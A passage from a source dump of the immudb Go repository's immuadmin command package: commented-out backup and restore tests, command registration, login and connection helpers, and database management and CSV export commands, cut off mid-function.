nil // login error errLogin := errors.New("login error") immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return nil, errLogin } clb.onError = func(msg interface{}) { require.Equal(t, errLogin, msg) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) immuClientMock.LoginF = loginFOK cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", "."), }) expectedErrMsg := "cannot backup the current directory, please specify a subdirectory, for example ./data" clb.onError = func(msg interface{}) { require.Equal(t, expectedErrMsg, msg.(error).Error()) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) // dbdir not exists notADir := dbDir + "_not_a_dir" cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", notADir), }) expectedErrMsg = "stat backup_test_db_dir_not_a_dir: no such file or directory" clb.onError = func(msg interface{}) { require.Equal(t, expectedErrMsg, msg.(error).Error()) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) // dbdir not a dir _, err = stdos.Create(notADir) require.NoError(t, err) defer stdos.Remove(notADir) expectedErrMsg = "backup_test_db_dir_not_a_dir is not a directory" clb.onError = func(msg interface{}) { require.Equal(t, expectedErrMsg, msg.(error).Error()) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) // daemon stop error cmd.SetArgs([]string{ "backup", fmt.Sprintf("--dbdir=%s", dbDir), }) daemMock.StopF = func() (string, error) { return "", errors.New("daemon stop error") } clb.onError = func(msg interface{}) { require.Equal(t, "error stopping immudb server: daemon stop error", msg.(error).Error()) } clb.backup(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) daemMock.StopF = nil // daemon start error daemMock.StartF = func() (string, error) { return "", errors.New("daemon start error") } clb.onError = func(msg interface{}) { } clb.backup(cmd) collector.CaptureStderr = true require.NoError(t, collector.Start()) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) backupLog, err = collector.Stop() require.NoError(t, err) require.Contains(t, backupLog, "error restarting immudb server: daemon start error") daemMock.StartF = nil collector.CaptureStderr = false } func TestRestore(t *testing.T) { os := immuos.NewStandardOS() clb, err := newCommandlineBck(os) require.NoError(t, err) clb.options = client.DefaultOptions() loginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "token"}, nil } immuClientMock := &clienttest.ImmuClientMock{ LoginF: loginFOK, } clb.immuClient = immuClientMock clb.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return immuClientMock, nil } immuClientMock.DisconnectF = func() error { return nil } pwReaderMock := &clienttest.PasswordReaderMock{} clb.passwordReader = pwReaderMock clb.context = context.Background() hds := clienttest.DefaultHomedirServiceMock() hds.FileExistsInUserHomeDirF = func(string) (bool, error) { return true, nil } clb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") daemMock := defaultDaemonMock() bckpr := &backupper{ daemon: daemMock, os: os, copier: fs.NewStandardCopier(), tarer: fs.NewStandardTarer(), ziper: fs.NewStandardZiper(), } clb.Backupper = bckpr okReadFromTerminalYNF := func(def string) (selected string, err error) { return "Y", nil } termReaderMock := &clienttest.TerminalReaderMock{ ReadFromTerminalYNF: okReadFromTerminalYNF, } clb.TerminalReader = termReaderMock dbDirSrc := "restore_test_db_dir_src_bkp_1" dbDirDst := "restore_test_db_dir_dst" stdos.RemoveAll(dbDirSrc) stdos.RemoveAll(dbDirDst) deleteBackupFiles(dbDirDst) defer stdos.RemoveAll(dbDirSrc) defer stdos.RemoveAll(dbDirDst) defer deleteBackupFiles(dbDirDst) require.NoError(t, stdos.Mkdir(dbDirSrc, 0755)) ioutil.WriteFile(filepath.Join(dbDirSrc, server.IDENTIFIER_FNAME), []byte("src"), 0644) require.NoError(t, stdos.Mkdir(dbDirDst, 0755)) ioutil.WriteFile(filepath.Join(dbDirDst, server.IDENTIFIER_FNAME), []byte("dst"), 0644) clb.onError = func(msg interface{}) { require.Empty(t, msg.(error)) } backupFile := dbDirSrc + ".tar.gz" stdos.Remove(backupFile) require.NoError(t, bckpr.tarer.TarIt(dbDirSrc, backupFile)) defer stdos.Remove(backupFile) backupFile2 := dbDirSrc + ".zip" stdos.Remove(backupFile2) require.NoError(t, bckpr.ziper.ZipIt(dbDirSrc, backupFile2, fs.ZipNoCompression)) defer stdos.Remove(backupFile2) // from .tar.gz cl := commandline{} cmd, _ := cl.NewCmd() cmd.SetArgs([]string{ "restore", backupFile, fmt.Sprintf("--dbdir=./%s", dbDirDst), }) clb.restore(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) deleteBackupFiles(dbDirDst) // from .zip cmd.SetArgs([]string{ "restore", backupFile2, fmt.Sprintf("--dbdir=./%s", dbDirDst), }) clb.restore(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) // stat error statFOK := os.StatF errStat := errors.New("Stat error") os.StatF = func(name string) (stdos.FileInfo, error) { return nil, errStat } clb.onError = func(msg interface{}) { require.Equal(t, errStat, msg) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) os.StatF = statFOK // daemon stop error daemMock.StopF = func() (string, error) { return "", errors.New("daemon stop error") } clb.onError = func(msg interface{}) { require.Equal(t, "error stopping immudb server: daemon stop error", fmt.Sprintf("%v", msg)) } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) daemMock.StopF = nil // Rename errors renameFOK := os.RenameF os.RenameF = func(oldpath, newpath string) error { return errors.New("Rename error 1") } clb.onError = func(msg interface{}) { require.Contains(t, msg.(error).Error(), "Rename error 1") } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) nbCalls := 0 os.RenameF = func(oldpath, newpath string) error { nbCalls++ if nbCalls == 1 { return nil } return errors.New("Rename error 2") } clb.onError = func(msg interface{}) { require.Contains(t, msg.(error).Error(), "Rename error 2") } // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil require.NoError(t, cmd.Execute()) os.RenameF = renameFOK } func TestCommandlineBck_Register(t *testing.T) { c := commandlineBck{} cmd := c.Register(&cobra.Command{}) assert.IsType(t, &cobra.Command{}, cmd) } func TestNewCommandLineBck(t *testing.T) { cml, err := newCommandlineBck(immuos.NewStandardOS()) assert.IsType(t, &commandlineBck{}, cml) assert.NoError(t, err) } func TestCommandlineBck_ConfigChain(t *testing.T) { cmd := &cobra.Command{} c := commandlineBck{ commandline: commandline{config: helper.Config{Name: "test"}}, } f := func(cmd *cobra.Command, args []string) error { return nil } cmd.Flags().StringVar(&c.config.CfgFn, "config", "", "config file") cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.NoError(t, err) } func TestCommandlineBck_ConfigChainErr(t *testing.T) { cmd := &cobra.Command{} c := commandlineBck{} f := func(cmd *cobra.Command, args []string) error { return nil } cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.Error(t, err) } */ ================================================ FILE: cmd/immuadmin/command/cmd.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "github.com/codenotary/immudb/cmd/docs/man" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/immuos" "github.com/spf13/cobra" ) func Execute() { if err := newCommand().Execute(); err != nil { c.QuitWithUserError(err) } } func newCommand() *cobra.Command { version.App = "immuadmin" // register admin commands cml := NewCommandLine() cmd, err := cml.NewCmd() if err != nil { c.QuitToStdErr(err) } cmd = cml.Register(cmd) // register backup related commands os := immuos.NewStandardOS() clb, err := newCommandlineBck(os) if err != nil { c.QuitToStdErr(err) } cmd = clb.Register(cmd) // register hot backup related commands clhb, err := newCommandlineHotBck(os) if err != nil { c.QuitToStdErr(err) } cmd = clhb.Register(cmd) cmd.AddCommand(man.Generate(cmd, "immuadmin", "./cmd/docs/man/"+version.App)) cmd.AddCommand(version.VersionCmd()) return cmd } ================================================ FILE: cmd/immuadmin/command/cmd_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "testing" "github.com/spf13/cobra" "github.com/stretchr/testify/assert" ) func TestNewCmd(t *testing.T) { cmd := newCommand() assert.IsType(t, cobra.Command{}, *cmd) } ================================================ FILE: cmd/immuadmin/command/commandline.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "context" "fmt" "os" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/immuos" "github.com/spf13/cobra" ) // Commandline ... type Commandline interface { user(cmd *cobra.Command) login(cmd *cobra.Command) logout(cmd *cobra.Command) status(cmd *cobra.Command) stats(cmd *cobra.Command) serverConfig(cmd *cobra.Command) database(cmd *cobra.Command) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) } // CommandlineCli ... type CommandlineCli interface { disconnect(cmd *cobra.Command, args []string) connect(cmd *cobra.Command, args []string) (err error) checkLoggedIn(cmd *cobra.Command, args []string) (err error) checkLoggedInAndConnect(cmd *cobra.Command, args []string) (err error) } type commandline struct { options *client.Options config c.Config immuClient client.ImmuClient passwordReader c.PasswordReader terminalReader c.TerminalReader context context.Context ts tokenservice.TokenService onError func(msg interface{}) os immuos.OS } func NewCommandLine() *commandline { cl := &commandline{} cl.config.Name = "immuadmin" cl.passwordReader = c.DefaultPasswordReader cl.terminalReader = c.NewTerminalReader(os.Stdin) cl.context = context.Background() // return cl } func (cl *commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) { return func(cmd *cobra.Command, args []string) (err error) { if err = cl.config.LoadConfig(cmd); err != nil { return err } // here all command line options and services need to be configured by options retrieved from viper cl.options = Options() cl.ts = tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(cl.options.TokenFileName) if post != nil { return post(cmd, args) } return nil } } func (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command { cl.user(rootCmd) cl.login(rootCmd) cl.logout(rootCmd) cl.status(rootCmd) cl.stats(rootCmd) cl.serverConfig(rootCmd) cl.database(rootCmd) return rootCmd } func (cl *commandline) quit(msg interface{}) { msg = helper.UnwrapMessage(msg) if cl.onError == nil { c.QuitToStdErr(msg) } cl.onError(msg) } func (cl *commandline) disconnect(cmd *cobra.Command, args []string) { if err := cl.immuClient.Disconnect(); err != nil { cl.quit(err) } } func (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) { if cl.immuClient, err = client.NewImmuClient(cl.options); err != nil { cl.quit(err) } cl.immuClient.WithTokenService(cl.ts) return } func (cl *commandline) checkLoggedIn(cmd *cobra.Command, args []string) (err error) { possiblyLoggedIn, err2 := cl.ts.IsTokenPresent() if err2 != nil { fmt.Println("error checking if token file exists:", err2) } else if !possiblyLoggedIn { err = fmt.Errorf("please login first. If elevated privileges are required to execute requested action remember to execute login as super user. Eg. sudo login immudb") cl.quit(err) } return } func (cl *commandline) checkLoggedInAndConnect(cmd *cobra.Command, args []string) (err error) { if err = cl.checkLoggedIn(cmd, args); err != nil { return err } if err = cl.connect(cmd, args); err != nil { return err } return } ================================================ FILE: cmd/immuadmin/command/commandline_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/assert" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/cobra" ) func TestCommandline(t *testing.T) { options := client.DefaultOptions() immuClient := &clienttest.ImmuClientMock{} pwr := &clienttest.PasswordReaderMock{} hds := clienttest.DefaultHomedirServiceMock() cl := &commandline{ options: options, immuClient: immuClient, newImmuClient: func(*client.Options) (client.ImmuClient, error) { return immuClient, nil }, passwordReader: pwr, context: context.Background(), ts: tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile"), } cmd := &cobra.Command{} errDisconnect := errors.New("disconnect error") immuClient.DisconnectF = func() error { return errDisconnect } cl.onError = func(msg interface{}) { require.Equal(t, errDisconnect, msg) } cl.disconnect(cmd, nil) cl.onError = func(msg interface{}) { require.Empty(t, msg) } require.NoError(t, cl.connect(cmd, nil)) errNewImmuClient := errors.New("error new immuclient") okNewImuClientF := cl.newImmuClient cl.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return nil, errNewImmuClient } cl.onError = func(msg interface{}) { require.Equal(t, errNewImmuClient, msg) } cl.connect(cmd, nil) cl.newImmuClient = okNewImuClientF errPleaseLogin := errors.New("please login first") cl.onError = func(msg interface{}) { require.Equal(t, errPleaseLogin, msg) } require.Equal(t, errPleaseLogin, cl.checkLoggedIn(cmd, nil)) errFileExists := errors.New("error file exists in user home dir") prevFileExists := hds.FileExistsInUserHomeDirF hds.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) { return false, errFileExists } cl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") require.NoError(t, cl.checkLoggedIn(cmd, nil)) hds.FileExistsInUserHomeDirF = prevFileExists cl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") require.Equal(t, errPleaseLogin, cl.checkLoggedInAndConnect(cmd, nil)) hds.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) { return true, nil } cl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName("testTokenFile") cl.newImmuClient = func(*client.Options) (client.ImmuClient, error) { return nil, errNewImmuClient } cl.onError = func(msg interface{}) { require.Equal(t, errNewImmuClient, msg) } require.Equal(t, errNewImmuClient, cl.checkLoggedInAndConnect(cmd, nil)) } func TestCommandline_Register(t *testing.T) { c := commandline{} cmd := c.Register(&cobra.Command{}) assert.IsType(t, &cobra.Command{}, cmd) } func TestNewCommandLine(t *testing.T) { cml := NewCommandLine() assert.IsType(t, &commandline{}, cml) } func TestCommandline_ConfigChain(t *testing.T) { cmd := &cobra.Command{} c := commandline{ config: helper.Config{Name: "test"}, } f := func(cmd *cobra.Command, args []string) error { return nil } cmd.Flags().StringVar(&c.config.CfgFn, "config", "", "config file") cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.NoError(t, err) } func TestCommandline_ConfigChainErr(t *testing.T) { cmd := &cobra.Command{} c := commandline{} f := func(cmd *cobra.Command, args []string) error { return nil } cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.Error(t, err) } */ ================================================ FILE: cmd/immuadmin/command/database.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "encoding/csv" "fmt" "io" "os" "path" "strconv" "strings" "time" "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/spf13/cobra" "github.com/spf13/pflag" "google.golang.org/protobuf/types/known/emptypb" ) func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("exclude-commit-time", false, "do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature") c.Flags().Bool("embedded-values", false, "store values in the tx header") c.Flags().Bool("prealloc-files", false, "enable file preallocation") c.Flags().Bool("replication-enabled", false, "set database as a replica") // deprecated, use replication-is-replica instead c.Flags().Bool("replication-is-replica", false, "set database as a replica") c.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") c.Flags().Uint32("replication-sync-acks", 0, "set a minimum number of replica acknowledgements required before transactions can be committed") c.Flags().String("replication-primary-database", "", "set primary database to be replicated") c.Flags().String("replication-primary-host", "", "set primary database host") c.Flags().Uint32("replication-primary-port", 0, "set primary database port") c.Flags().String("replication-primary-username", "", "set username used for replication to connect to the primary database") c.Flags().String("replication-primary-password", "", "set password used for replication to connect to the primary database") c.Flags().Uint32("replication-prefetch-tx-buffer-size", uint32(replication.DefaultPrefetchTxBufferSize), "maximum number of prefeched transactions") c.Flags().Uint32("replication-commit-concurrency", uint32(replication.DefaultReplicationCommitConcurrency), "number of concurrent replications") c.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") c.Flags().Bool("replication-skip-integrity-check", replication.DefaultSkipIntegrityCheck, "disable integrity check when reading data during replication") c.Flags().Bool("replication-wait-for-indexing", replication.DefaultWaitForIndexing, "wait for indexing to be up to date during replication") c.Flags().Uint32("indexing-flush-threshold", tbtree.DefaultFlushThld, "number of new index entries between disk flushes") c.Flags().Float32("indexing-cleanup-percentage", tbtree.DefaultCleanUpPercentage, "percentage of node files cleaned up during each flush") c.Flags().Uint32("indexing-sync-threshold", tbtree.DefaultSyncThld, "number of new index entries between disk flushes with file sync") c.Flags().Uint32("indexing-cache-size", tbtree.DefaultCacheSize, "size of the Btree node cache (number of nodes)") c.Flags().Uint32("indexing-max-active-snapshots", tbtree.DefaultMaxActiveSnapshots, "maximum number of active btree snapshots") c.Flags().Uint32("write-tx-header-version", 1, "set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)") c.Flags().Uint32("max-commit-concurrency", store.DefaultMaxConcurrency, "set the maximum commit concurrency") c.Flags().Duration("sync-frequency", store.DefaultSyncFrequency, "set the fsync frequency during commit process") c.Flags().Uint32("write-buffer-size", store.DefaultWriteBufferSize, "set the size of in-memory buffers for file abstractions") c.Flags().Uint32("read-tx-pool-size", database.DefaultReadTxPoolSize, "set transaction read pool size (used for reading transaction objects)") c.Flags().Bool("autoload", true, "enable database autoloading") c.Flags().Duration("retention-period", 0, "duration of time to retain data in storage") c.Flags().Duration("truncation-frequency", database.DefaultTruncationFrequency, "set the truncation frequency for the database") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", "replication-follower-username": "replication-primary-username", "replication-follower-password": "replication-primary-password", "replication-master-database": "replication-primary-database", "replication-master-address": "replication-primary-host", "replication-master-port": "replication-primary-port", } c.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName { if newName, ok := flagNameMapping[name]; ok { name = newName } return pflag.NormalizedName(name) }) } func (cl *commandline) database(cmd *cobra.Command) { dbCmd := &cobra.Command{ Use: "database", Short: "Issue all database commands", Aliases: []string{"d"}, PersistentPostRun: cl.disconnect, ValidArgs: []string{"list", "create", "load", "unload", "delete", "update", "use", "flush", "compact", "truncate"}, } listCmd := &cobra.Command{ Use: "list", Short: "List all databases", Aliases: []string{"l"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immuClient.DatabaseListV2(cl.context) if err != nil { return err } c.PrintTable( cmd.OutOrStdout(), []string{"Database Name", "Created At", "Created By", "Status", "Is Replica", "Disk Size", "Transactions"}, len(resp.Databases), func(i int) []string { row := make([]string, 7) db := resp.Databases[i] if cl.options.CurrentDatabase == db.Name { row[0] += "*" } row[0] += db.Name row[1] = time.Unix(int64(db.CreatedAt), 0).Format("2006-01-02") row[2] = db.CreatedBy if db.GetLoaded() { row[3] += "LOADED" } else { row[3] += "UNLOADED" } isReplica := db.Settings.ReplicationSettings.Replica != nil && db.Settings.ReplicationSettings.Replica.Value row[4] = strings.ToUpper(strconv.FormatBool(isReplica)) row[5] = helper.FormatByteSize(db.DiskSize) row[6] = strconv.FormatUint(db.NumTransactions, 10) return row }, fmt.Sprintf("%d database(s)", len(resp.Databases)), ) return nil }, Args: cobra.ExactArgs(0), } createCmd := &cobra.Command{ Use: "create", Short: "Create a new database", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, Example: "create {database_name}", RunE: func(cmd *cobra.Command, args []string) error { settings, err := prepareDatabaseNullableSettings(cmd.Flags()) if err != nil { return err } _, err = cl.immuClient.CreateDatabaseV2(cl.context, args[0], settings) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' {%s} successfully created\n", args[0], databaseNullableSettingsStr(settings)) return nil }, Args: cobra.ExactArgs(1), } addDbUpdateFlags(createCmd) loadCmd := &cobra.Command{ Use: "load", Short: "Load database", Example: "load {database_name}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { _, err := cl.immuClient.LoadDatabase(cl.context, &schema.LoadDatabaseRequest{ Database: args[0], }) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' successfully loaded\n", args[0]) return nil }, Args: cobra.ExactArgs(1), } unloadCmd := &cobra.Command{ Use: "unload", Short: "Unload database", Example: "unload {database_name}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { _, err := cl.immuClient.UnloadDatabase(cl.context, &schema.UnloadDatabaseRequest{ Database: args[0], }) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' successfully unloaded\n", args[0]) return nil }, Args: cobra.ExactArgs(1), } deleteCmd := &cobra.Command{ Use: "delete", Short: "Delete database (unrecoverable operation)", Example: "delete --yes-i-know-what-i-am-doing {database_name}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { safetyFlag, err := cmd.Flags().GetBool("yes-i-know-what-i-am-doing") if err != nil { return err } if !safetyFlag { fmt.Fprintf(cmd.OutOrStdout(), "database '%s' was not deleted. Safety flag not set\n", args[0]) return nil } _, err = cl.immuClient.DeleteDatabase(cl.context, &schema.DeleteDatabaseRequest{ Database: args[0], }) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' successfully deleted\n", args[0]) return nil }, Args: cobra.ExactArgs(1), } deleteCmd.Flags().Bool("yes-i-know-what-i-am-doing", false, "safety flag to confirm database deletion") deleteCmd.MarkFlagRequired("yes-i-know-what-i-am-doing") updateCmd := &cobra.Command{ Use: "update", Short: "Update database", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, Example: "update {database_name}", RunE: func(cmd *cobra.Command, args []string) error { settings, err := prepareDatabaseNullableSettings(cmd.Flags()) if err != nil { return err } if _, err := cl.immuClient.UpdateDatabaseV2(cl.context, args[0], settings); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' {%s} successfully updated\n", args[0], databaseNullableSettingsStr(settings)) return nil }, Args: cobra.ExactArgs(1), } addDbUpdateFlags(updateCmd) useCmd := &cobra.Command{ Use: "use", Short: "Select database", Example: "use {database_name}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, ValidArgs: []string{"databasename"}, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{ DatabaseName: args[0], }) if err != nil { return err } cl.immuClient.GetOptions().CurrentDatabase = args[0] if err = cl.ts.SetToken(args[0], resp.Token); err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "now using database '%s'\n", args[0]) return nil }, Args: cobra.MaximumNArgs(2), } flushCmd := &cobra.Command{ Use: "flush", Short: "Flush database index", Example: "flush", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { cleanupPercentage, err := cmd.Flags().GetFloat32("cleanup-percentage") if err != nil { return err } synced, err := cmd.Flags().GetBool("synced") if err != nil { return err } _, err = cl.immuClient.FlushIndex(cl.context, cleanupPercentage, synced) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database index successfully flushed\n") return nil }, Args: cobra.ExactArgs(0), } flushCmd.Flags().Float32("cleanup-percentage", 0.00, "set cleanup percentage") flushCmd.Flags().Bool("synced", true, "synced mode enables physical data deletion") compactCmd := &cobra.Command{ Use: "compact", Short: "Compact database index", Example: "compact", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { err := cl.immuClient.CompactIndex(cl.context, &emptypb.Empty{}) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database index successfully compacted\n") return nil }, Args: cobra.ExactArgs(0), } truncateCmd := &cobra.Command{ Use: "truncate", Short: "Truncate database (unrecoverable operation)", Example: "truncate --yes-i-know-what-i-am-doing {database_name} --retention-period {retention_period}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { safetyFlag, err := cmd.Flags().GetBool("yes-i-know-what-i-am-doing") if err != nil { return err } if !safetyFlag { fmt.Fprintf(cmd.OutOrStdout(), "database '%s' was not truncated. Safety flag not set\n", args[0]) return nil } retentionPeriod, err := cmd.Flags().GetDuration("retention-period") if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "truncating database '%s' up to retention period '%s'...\n", args[0], retentionPeriod.String()) err = cl.immuClient.TruncateDatabase(cl.context, args[0], retentionPeriod) if err != nil { return err } fmt.Fprintf(cmd.OutOrStdout(), "database '%s' successfully truncated\n", args[0]) return nil }, Args: cobra.ExactArgs(1), } addDbTruncateFlags(truncateCmd) dbCmd.AddCommand(listCmd) dbCmd.AddCommand(createCmd) dbCmd.AddCommand(loadCmd) dbCmd.AddCommand(unloadCmd) dbCmd.AddCommand(deleteCmd) dbCmd.AddCommand(useCmd) dbCmd.AddCommand(updateCmd) dbCmd.AddCommand(flushCmd) dbCmd.AddCommand(compactCmd) dbCmd.AddCommand(truncateCmd) dbCmd.AddCommand(cl.createExportCmd()) dbCmd.AddCommand(cl.createImportCmd()) cmd.AddCommand(dbCmd) } func (cl *commandline) createExportCmd() *cobra.Command { exportCmd := &cobra.Command{ Use: "export", Short: "Dump an SQL table to a CSV file", Aliases: []string{"e"}, ArgAliases: []string{"table"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { table := args[0] outputPath, _ := cmd.Flags().GetString("o") if outputPath == "" { wd, err := os.Getwd() if err != nil { return err } outputPath = path.Join(wd, table) + ".csv" } reader, err := cl.immuClient.SQLQueryReader(cl.context, fmt.Sprintf("SELECT * FROM %s", table), nil) if err != nil { return err } defer reader.Close() csvFile, err := os.Create(outputPath) if err != nil { return err } defer csvFile.Close() sep, err := cmd.Flags().GetString("s") if err != nil { return err } if len(sep) != 1 { return fmt.Errorf("invalid separator") } writer := csv.NewWriter(csvFile) writer.Comma = rune(sep[0]) writer.UseCRLF = true defer writer.Flush() cols := reader.Columns() colNames := make([]string, len(cols)) for i, col := range cols { colNames[i] = formatColName(col.Name) } if err := writer.Write(colNames); err != nil { return err } out := make([]string, len(cols)) for reader.Next() { row, err := reader.Read() if err != nil { return err } if err := 